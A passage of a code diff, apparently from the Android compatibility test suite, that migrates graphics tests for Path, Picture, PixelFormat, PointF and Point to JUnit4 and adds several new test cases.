         path.transform(new Matrix(), dst);
         assertFalse(dst.isEmpty());
     }
 
-    public void testTransform2() {
-
-    }
-
+    @Test
     public void testLineTo() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.lineTo(XCOORD, YCOORD);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testClose() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
-        setPath(path);
+        addRectToPath(path);
         path.close();
     }
 
+    @Test
     public void testQuadTo() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.quadTo(20.0f, 20.0f, 40.0f, 40.0f);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testAddCircle() {
         // new the Path instance
         Path path = new Path();
@@ -172,8 +180,8 @@
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testArcTo1() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF oval = new RectF(LEFT, TOP, RIGHT, BOTTOM);
@@ -181,8 +189,8 @@
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testArcTo2() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF oval = new RectF(LEFT, TOP, RIGHT, BOTTOM);
@@ -190,81 +198,73 @@
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testComputeBounds1() {
-
         RectF expected = new RectF(0.0f, 0.0f, 0.0f, 0.0f);
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF bounds = new RectF();
         path.computeBounds(bounds, true);
-        assertEquals(expected.width(), bounds.width());
-        assertEquals(expected.height(), bounds.height());
+        assertEquals(expected.width(), bounds.width(), 0.0f);
+        assertEquals(expected.height(), bounds.height(), 0.0f);
         path.computeBounds(bounds, false);
-        assertEquals(expected.width(), bounds.width());
-        assertEquals(expected.height(), bounds.height());
+        assertEquals(expected.width(), bounds.width(), 0.0f);
+        assertEquals(expected.height(), bounds.height(), 0.0f);
     }
 
+    @Test
     public void testComputeBounds2() {
-
         RectF expected = new RectF(LEFT, TOP, RIGHT, BOTTOM);
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF bounds = new RectF(LEFT, TOP, RIGHT, BOTTOM);
         path.addRect(bounds, Path.Direction.CW);
         path.computeBounds(bounds, true);
-        assertEquals(expected.width(), bounds.width());
-        assertEquals(expected.height(), bounds.height());
+        assertEquals(expected.width(), bounds.width(), 0.0f);
+        assertEquals(expected.height(), bounds.height(), 0.0f);
         path.computeBounds(bounds, false);
-        assertEquals(expected.width(), bounds.width());
-        assertEquals(expected.height(), bounds.height());
+        assertEquals(expected.width(), bounds.width(), 0.0f);
+        assertEquals(expected.height(), bounds.height(), 0.0f);
     }
 
-    public void testRMoveTo() {
-        // new the Path instance
-    }
-
+    @Test
     public void testSetLastPoint() {
-        // new the Path instance
         Path path = new Path();
         path.setLastPoint(10.0f, 10.0f);
     }
 
+    @Test
     public void testRLineTo() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.rLineTo(10.0f, 10.0f);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testIsEmpty() {
 
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
-        setPath(path);
+        addRectToPath(path);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testRewind() {
-
-        // set the expected value
         Path.FillType expected = Path.FillType.EVEN_ODD;
 
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
-        setPath(path);
+        addRectToPath(path);
         path.rewind();
         path.setFillType(Path.FillType.EVEN_ODD);
         assertTrue(path.isEmpty());
         assertEquals(expected, path.getFillType());
     }
 
+    @Test
     public void testAddOval() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF oval = new RectF(LEFT, TOP, RIGHT, BOTTOM);
@@ -272,50 +272,46 @@
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testIsRect() {
-
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
-        setPath(path);
+        addRectToPath(path);
     }
 
-    public void testIncReserve() {
-    }
-
+    @Test
     public void testAddPath1() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         Path src = new Path();
-        setPath(src);
+        addRectToPath(src);
         path.addPath(src, 10.0f, 10.0f);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testAddPath2() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         Path src = new Path();
-        setPath(src);
+        addRectToPath(src);
         path.addPath(src);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testAddPath3() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         Path src = new Path();
-        setPath(src);
+        addRectToPath(src);
         Matrix matrix = new Matrix();
         path.addPath(src, matrix);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testAddRoundRect1() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF rect = new RectF(LEFT, TOP, RIGHT, BOTTOM);
@@ -323,8 +319,8 @@
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testAddRoundRect2() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF rect = new RectF(LEFT, TOP, RIGHT, BOTTOM);
@@ -336,59 +332,84 @@
         assertFalse(path.isEmpty());
     }
 
-    public void testIsInverseFillType() {
+    @Test
+    public void testIsConvex1() {
+        Path path = new Path();
+        path.addRect(0, 0, 100, 10, Path.Direction.CW);
+        assertTrue(path.isConvex());
 
-        // new the Path instance
+        path.addRect(0, 0, 10, 100, Path.Direction.CW);
+        assertFalse(path.isConvex()); // path is concave
+    }
+
+    @Test
+    public void testIsConvex2() {
+        Path path = new Path();
+        path.addRect(0, 0, 40, 40, Path.Direction.CW);
+        assertTrue(path.isConvex());
+
+        path.addRect(10, 10, 30, 30, Path.Direction.CCW);
+        assertFalse(path.isConvex()); // path has hole, isn't convex
+    }
+
+    @Test
+    public void testIsConvex3() {
+        Path path = new Path();
+        path.addRect(0, 0, 10, 10, Path.Direction.CW);
+        assertTrue(path.isConvex());
+
+        path.addRect(0, 20, 10, 10, Path.Direction.CW);
+        assertFalse(path.isConvex()); // path isn't one convex shape
+    }
+
+    @Test
+    public void testIsInverseFillType() {
         Path path = new Path();
         assertFalse(path.isInverseFillType());
         path.setFillType(Path.FillType.INVERSE_EVEN_ODD);
         assertTrue(path.isInverseFillType());
     }
 
+    @Test
     public void testOffset1() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
-        setPath(path);
+        addRectToPath(path);
         Path dst = new Path();
         path.offset(XCOORD, YCOORD, dst);
         assertFalse(dst.isEmpty());
     }
 
-    public void testOffset2() {
-        // new the Path instance
-    }
-
+    @Test
     public void testCubicTo() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.cubicTo(10.0f, 10.0f, 20.0f, 20.0f, 30.0f, 30.0f);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testReset() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         Path path1 = new Path();
-        setPath(path1);
+        addRectToPath(path1);
         path.set(path1);
         assertFalse(path.isEmpty());
         path.reset();
         assertTrue(path.isEmpty());
     }
 
+    @Test
     public void testToggleInverseFillType() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.toggleInverseFillType();
         assertTrue(path.isInverseFillType());
     }
 
+    @Test
     public void testAddArc() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF oval = new RectF(LEFT, TOP, RIGHT, BOTTOM);
@@ -396,14 +417,15 @@
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testRCubicTo() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.rCubicTo(10.0f, 10.0f, 11.0f, 11.0f, 12.0f, 12.0f);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testOffsetTextPath() {
         Paint paint = new Paint();
         Path path = new Path();
@@ -422,7 +444,54 @@
         assertEquals(expectedRect, offsettedRect);
     }
 
-    private static void assertPathsAreEquivalent(Path actual, Path expected) {
+    @Test(expected=IllegalArgumentException.class)
+    public void testApproximate_lowError() {
+        new Path().approximate(-0.1f);
+    }
+
+    @Test
+    public void testApproximate_rect_cw() {
+        Path path = new Path();
+        path.addRect(0, 0, 100, 100, Path.Direction.CW);
+        assertArrayEquals(new float[] {
+                0, 0, 0,
+                0.25f, 100, 0,
+                0.50f, 100, 100,
+                0.75f, 0, 100,
+                1, 0, 0,
+        }, path.approximate(1f), 0);
+    }
+
+    @Test
+    public void testApproximate_rect_ccw() {
+        Path path = new Path();
+        path.addRect(0, 0, 100, 100, Path.Direction.CCW);
+        assertArrayEquals(new float[] {
+                0, 0, 0,
+                0.25f, 0, 100,
+                0.50f, 100, 100,
+                0.75f, 100, 0,
+                1, 0, 0,
+        }, path.approximate(1f), 0);
+    }
+
+    @Test
+    public void testApproximate_empty() {
+        Path path = new Path();
+        assertArrayEquals(new float[] {
+                0, 0, 0,
+                1, 0, 0,
+        }, path.approximate(0.5f), 0);
+    }
+
+    @Test
+    public void testApproximate_circle() {
+        Path path = new Path();
+        path.addCircle(0, 0, 50, Path.Direction.CW);
+        assertTrue(path.approximate(0.25f).length > 20);
+    }
+
+    private static void verifyPathsAreEquivalent(Path actual, Path expected) {
         Bitmap actualBitmap = drawAndGetBitmap(actual);
         Bitmap expectedBitmap = drawAndGetBitmap(expected);
         assertTrue(actualBitmap.sameAs(expectedBitmap));
@@ -441,7 +510,7 @@
         return bitmap;
     }
 
-    private void setPath(Path path) {
+    private void addRectToPath(Path path) {
         RectF rect = new RectF(LEFT, TOP, RIGHT, BOTTOM);
         path.addRect(rect, Path.Direction.CW);
     }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java b/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
index 5e27b2a..fb9c39f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
@@ -16,28 +16,35 @@
 
 package android.graphics.cts;
 
-import android.graphics.Path;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Path.Direction;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Path_DirectionTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Path_DirectionTest {
+    @Test
     public void testValueOf() {
         assertEquals(Direction.CW, Direction.valueOf("CW"));
         assertEquals(Direction.CCW, Direction.valueOf("CCW"));
         // Every Direction element will be tested somewhere else.
     }
 
+    @Test
     public void testValues() {
         // set the expected value
         Direction[] expected = {
                 Direction.CW,
-                Direction.CCW};
+                Direction.CCW };
         Direction[] actual = Direction.values();
         assertEquals(expected.length, actual.length);
         for (int i = 0; i < actual.length; i ++) {
             assertEquals(expected[i], actual[i]);
         }
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java b/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
index 60b0586..17f5f87 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
@@ -16,12 +16,19 @@
 
 package android.graphics.cts;
 
-import android.graphics.Path;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Path.FillType;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Path_FillTypeTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Path_FillTypeTest {
+    @Test
     public void testValueOf() {
         assertEquals(FillType.WINDING, FillType.valueOf("WINDING"));
         assertEquals(FillType.EVEN_ODD, FillType.valueOf("EVEN_ODD"));
@@ -30,18 +37,18 @@
         // Every FillType element will be tested somewhere else.
     }
 
+    @Test
     public void testValues() {
         // set the expected value
         FillType[] expected = {
                 FillType.WINDING,
                 FillType.EVEN_ODD,
                 FillType.INVERSE_WINDING,
-                FillType.INVERSE_EVEN_ODD};
+                FillType.INVERSE_EVEN_ODD };
         FillType[] actual = FillType.values();
         assertEquals(expected.length, actual.length);
         for (int i = 0; i < actual.length; i ++) {
             assertEquals(expected[i], actual[i]);
         }
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/PictureTest.java b/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
index 912c5a7..017ccb7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
@@ -16,23 +16,31 @@
 
 package android.graphics.cts;
 
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Matrix;
 import android.graphics.Paint;
+import android.graphics.Paint.Style;
 import android.graphics.Picture;
 import android.graphics.Rect;
-import android.graphics.Paint.Style;
 import android.graphics.Region.Op;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PictureTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PictureTest {
     private static final int TEST_WIDTH = 4; // must be >= 2
     private static final int TEST_HEIGHT = 3; // must >= 2
 
@@ -44,7 +52,8 @@
     //   - copy constructed picture from actively recording picture
     //   - writeToStream/createFromStream created picture from actively recording picture
     //   - actively recording picture after draw call
-    public void testSaveRestoreBalance() throws Exception {
+    @Test
+    public void testSaveRestoreBalance() {
         Picture original = new Picture();
         Canvas canvas = original.beginRecording(TEST_WIDTH, TEST_HEIGHT);
         assertNotNull(canvas);
@@ -53,7 +62,7 @@
         int expectedSaveCount = canvas.getSaveCount();
 
         Picture copy = new Picture(original);
-        checkBalance(copy);
+        verifyBalance(copy);
 
         assertEquals(expectedSaveCount, canvas.getSaveCount());
 
@@ -64,14 +73,14 @@
 
         Picture serialized = Picture.createFromStream(new ByteArrayInputStream(bout.toByteArray()));
         // The serialization/deserialization process will balance the saves and restores
-        checkBalance(serialized);
+        verifyBalance(serialized);
 
         assertEquals(expectedSaveCount, canvas.getSaveCount());
 
         Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
         Canvas drawDest = new Canvas(bitmap);
         original.draw(drawDest);
-        checkBalance(original);
+        verifyBalance(original);
     }
 
     // Add an extra save with a transform and clip
@@ -84,7 +93,7 @@
         canvas.drawRect(0, 0, 10, 10, paint);
     }
 
-    private void checkBalance(Picture picture) {
+    private void verifyBalance(Picture picture) {
         Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
         Canvas canvas = new Canvas(bitmap);
 
@@ -107,7 +116,8 @@
         assertEquals(beforeClip, afterClip);
     }
 
-    public void testPicture() throws Exception {
+    @Test
+    public void testPicture() {
         Picture picture = new Picture();
         ByteArrayOutputStream bout = new ByteArrayOutputStream();
 
@@ -119,8 +129,8 @@
         Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
         canvas = new Canvas(bitmap);
         picture.draw(canvas);
-        checkSize(picture);
-        checkBitmap(bitmap);
+        verifySize(picture);
+        verifyBitmap(bitmap);
 
         picture.writeToStream(bout);
         picture = Picture.createFromStream(new ByteArrayInputStream(bout.toByteArray()));
@@ -129,18 +139,18 @@
         bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
         canvas = new Canvas(bitmap);
         picture.draw(canvas);
-        checkSize(picture);
-        checkBitmap(bitmap);
+        verifySize(picture);
+        verifyBitmap(bitmap);
 
         Picture pic = new Picture(picture);
         bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
         canvas = new Canvas(bitmap);
         pic.draw(canvas);
-        checkSize(pic);
-        checkBitmap(bitmap);
+        verifySize(pic);
+        verifyBitmap(bitmap);
     }
 
-    private void checkSize(Picture picture) {
+    private void verifySize(Picture picture) {
         assertEquals(TEST_WIDTH, picture.getWidth());
         assertEquals(TEST_HEIGHT, picture.getHeight());
     }
@@ -159,7 +169,7 @@
         canvas.drawPoint(0, 0, paint);
     }
 
-    private void checkBitmap(Bitmap bitmap) {
+    private void verifyBitmap(Bitmap bitmap) {
         // first pixel is BLUE, rest of the line is RED
         assertEquals(Color.BLUE, bitmap.getPixel(0, 0));
         for (int x = 1; x < TEST_WIDTH; x++) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
index 4809755..e54bef9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
@@ -16,108 +16,97 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.PixelFormat;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PixelFormatTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private PixelFormat mPixelFormat;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mPixelFormat = null;
-    }
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PixelFormatTest {
+    @Test
     public void testConstructor() {
-        mPixelFormat = null;
-        // new the PixelFormat instance
-        mPixelFormat = new PixelFormat();
+        new PixelFormat();
     }
 
+    @Test
     public void testGetPixelFormatInfo() {
+        PixelFormat pixelFormat = new PixelFormat();
 
-        // new the PixelFormat instance
-        mPixelFormat = new PixelFormat();
+        PixelFormat.getPixelFormatInfo(PixelFormat.RGBA_8888, pixelFormat);
+        assertEquals(4, pixelFormat.bytesPerPixel);
+        assertEquals(32, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.RGBA_8888, mPixelFormat);
-        assertEquals(4, mPixelFormat.bytesPerPixel);
-        assertEquals(32, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.RGBX_8888, pixelFormat);
+        assertEquals(4, pixelFormat.bytesPerPixel);
+        assertEquals(32, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.RGBX_8888, mPixelFormat);
-        assertEquals(4, mPixelFormat.bytesPerPixel);
-        assertEquals(32, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.RGB_888, pixelFormat);
+        assertEquals(3, pixelFormat.bytesPerPixel);
+        assertEquals(24, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.RGB_888, mPixelFormat);
-        assertEquals(3, mPixelFormat.bytesPerPixel);
-        assertEquals(24, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.RGB_565, pixelFormat);
+        assertEquals(2, pixelFormat.bytesPerPixel);
+        assertEquals(16, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.RGB_565, mPixelFormat);
-        assertEquals(2, mPixelFormat.bytesPerPixel);
-        assertEquals(16, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.RGBA_5551, pixelFormat);
+        assertEquals(2, pixelFormat.bytesPerPixel);
+        assertEquals(16, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.RGBA_5551, mPixelFormat);
-        assertEquals(2, mPixelFormat.bytesPerPixel);
-        assertEquals(16, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.RGBA_4444, pixelFormat);
+        assertEquals(2, pixelFormat.bytesPerPixel);
+        assertEquals(16, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.RGBA_4444, mPixelFormat);
-        assertEquals(2, mPixelFormat.bytesPerPixel);
-        assertEquals(16, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.A_8, pixelFormat);
+        assertEquals(1, pixelFormat.bytesPerPixel);
+        assertEquals(8, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.A_8, mPixelFormat);
-        assertEquals(1, mPixelFormat.bytesPerPixel);
-        assertEquals(8, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.L_8, pixelFormat);
+        assertEquals(1, pixelFormat.bytesPerPixel);
+        assertEquals(8, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.L_8, mPixelFormat);
-        assertEquals(1, mPixelFormat.bytesPerPixel);
-        assertEquals(8, mPixelFormat.bitsPerPixel);
+        PixelFormat.getPixelFormatInfo(PixelFormat.LA_88, pixelFormat);
+        assertEquals(2, pixelFormat.bytesPerPixel);
+        assertEquals(16, pixelFormat.bitsPerPixel);
 
-        PixelFormat.getPixelFormatInfo(PixelFormat.LA_88, mPixelFormat);
-        assertEquals(2, mPixelFormat.bytesPerPixel);
-        assertEquals(16, mPixelFormat.bitsPerPixel);
-
-        PixelFormat.getPixelFormatInfo(PixelFormat.RGB_332, mPixelFormat);
-        assertEquals(1, mPixelFormat.bytesPerPixel);
-        assertEquals(8, mPixelFormat.bitsPerPixel);
-
-        try {
-            PixelFormat.getPixelFormatInfo(PixelFormat.UNKNOWN, mPixelFormat);
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            //excepted
-        }
-
-        try {
-            PixelFormat.getPixelFormatInfo(PixelFormat.JPEG, mPixelFormat);
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            //excepted
-        }
-
-        try {
-            PixelFormat.getPixelFormatInfo(PixelFormat.TRANSLUCENT, mPixelFormat);
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            //excepted
-        }
-
-        try {
-            PixelFormat.getPixelFormatInfo(PixelFormat.TRANSPARENT, mPixelFormat);
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            //excepted
-        }
-
-        try {
-            PixelFormat.getPixelFormatInfo(PixelFormat.OPAQUE, mPixelFormat);
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            //excepted
-        }
+        PixelFormat.getPixelFormatInfo(PixelFormat.RGB_332, pixelFormat);
+        assertEquals(1, pixelFormat.bytesPerPixel);
+        assertEquals(8, pixelFormat.bitsPerPixel);
     }
 
-    public void testFormatHasAlpha() {
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetPixelFormatInfoUnknown() {
+        PixelFormat.getPixelFormatInfo(PixelFormat.UNKNOWN, new PixelFormat());
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetPixelFormatInfoJpeg() {
+        PixelFormat.getPixelFormatInfo(PixelFormat.JPEG, new PixelFormat());
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetPixelFormatInfoTranslucent() {
+        PixelFormat.getPixelFormatInfo(PixelFormat.TRANSLUCENT, new PixelFormat());
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetPixelFormatInfoTransparent() {
+        PixelFormat.getPixelFormatInfo(PixelFormat.TRANSPARENT, new PixelFormat());
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetPixelFormatInfoOpaque() {
+        PixelFormat.getPixelFormatInfo(PixelFormat.OPAQUE, new PixelFormat());
+    }
+
+    @Test
+    public void testFormatHasAlpha() {
         assertTrue(PixelFormat.formatHasAlpha(PixelFormat.RGBA_8888));
         assertFalse(PixelFormat.formatHasAlpha(PixelFormat.RGBX_8888));
         assertFalse(PixelFormat.formatHasAlpha(PixelFormat.RGB_888));
@@ -130,5 +119,4 @@
         assertFalse(PixelFormat.formatHasAlpha(PixelFormat.RGB_332));
         assertFalse(PixelFormat.formatHasAlpha(PixelFormat.UNKNOWN));
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/PointFTest.java b/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
index 77b72d4..eedcb6f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
@@ -16,79 +16,100 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Point;
 import android.graphics.PointF;
-import android.test.AndroidTestCase;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PointFTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PointFTest {
     private PointF mPointF;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mPointF = null;
-    }
-
+    @Test
     public void testConstructor() {
-
-        mPointF = null;
-        // new the PointF instance
         mPointF = new PointF();
-
-        mPointF = null;
-        // new the PointF instance
         mPointF = new PointF(10.0f, 10.0f);
 
-        mPointF = null;
         Point point = new Point(10, 10);
-        // new the PointF instance
         mPointF = new PointF(point);
-
     }
 
+    @Test
     public void testNegate() {
         mPointF = new PointF(10, 10);
         mPointF.negate();
-        assertEquals(-10.0f, mPointF.x);
-        assertEquals(-10.0f, mPointF.y);
+        assertEquals(-10.0f, mPointF.x, 0.0f);
+        assertEquals(-10.0f, mPointF.y, 0.0f);
     }
 
+    @Test
     public void testLength1() {
         mPointF = new PointF(0.3f, 0.4f);
-        assertEquals(0.5f, mPointF.length());
+        assertEquals(0.5f, mPointF.length(), 0.0f);
     }
 
+    @Test
     public void testLength2() {
-        assertEquals(0.5f, PointF.length(0.3f, 0.4f));
+        assertEquals(0.5f, PointF.length(0.3f, 0.4f), 0.0f);
     }
 
+    @Test
     public void testSet1() {
         mPointF = new PointF();
         mPointF.set(0.3f, 0.4f);
-        assertEquals(0.3f, mPointF.x);
-        assertEquals(0.4f, mPointF.y);
+        assertEquals(0.3f, mPointF.x, 0.0f);
+        assertEquals(0.4f, mPointF.y, 0.0f);
     }
 
+    @Test
     public void testSet2() {
         mPointF = new PointF();
         PointF pointF = new PointF(0.3f, 0.4f);
         mPointF.set(pointF);
-        assertEquals(0.3f, mPointF.x);
-        assertEquals(0.4f, mPointF.y);
+        assertEquals(0.3f, mPointF.x, 0.0f);
+        assertEquals(0.4f, mPointF.y, 0.0f);
     }
 
+    @Test
     public void testEquals() {
         mPointF = new PointF(0.3f, 0.4f);
         assertTrue(mPointF.equals(0.3f, 0.4f));
         assertFalse(mPointF.equals(0.4f, 0.3f));
     }
 
+    @Test
     public void testOffset() {
         mPointF = new PointF(10.0f, 10.0f);
         mPointF.offset(1.0f, 1.1f);
-        assertEquals(11.0f, mPointF.x);
-        assertEquals(11.1f, mPointF.y);
+        assertEquals(11.0f, mPointF.x, 0.0f);
+        assertEquals(11.1f, mPointF.y, 0.0f);
     }
 
+    @Test
+    public void testDescribeContents() {
+        mPointF = new PointF(10.0f, 20.0f);
+        assertEquals(0, mPointF.describeContents());
+    }
+
+    @Test
+    public void testParceling() {
+        mPointF = new PointF(10.0f, 20.0f);
+        Parcel p = Parcel.obtain();
+        mPointF.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        mPointF = new PointF();
+        mPointF.readFromParcel(p);
+        assertEquals(10.0f, mPointF.x, 0.0f);
+        assertEquals(20.0f, mPointF.y, 0.0f);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/PointTest.java b/tests/tests/graphics/src/android/graphics/cts/PointTest.java
index e4ede58..d01f551 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PointTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PointTest.java
@@ -16,33 +16,34 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Point;
-import android.test.AndroidTestCase;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PointTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PointTest {
     private Point mPoint;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mPoint = null;
-    }
-
+    @Test
     public void testConstructor() {
-
-        // new the Point instance
         mPoint = new Point();
-
-        // new the Point instance
         mPoint = new Point(10, 10);
 
         Point point = new Point(10, 10);
-        // new the Point instance
         mPoint = new Point(point);
-
     }
 
+    @Test
     public void testSet() {
         mPoint = new Point();
         mPoint.set(3, 4);
@@ -50,12 +51,14 @@
         assertEquals(4, mPoint.y);
     }
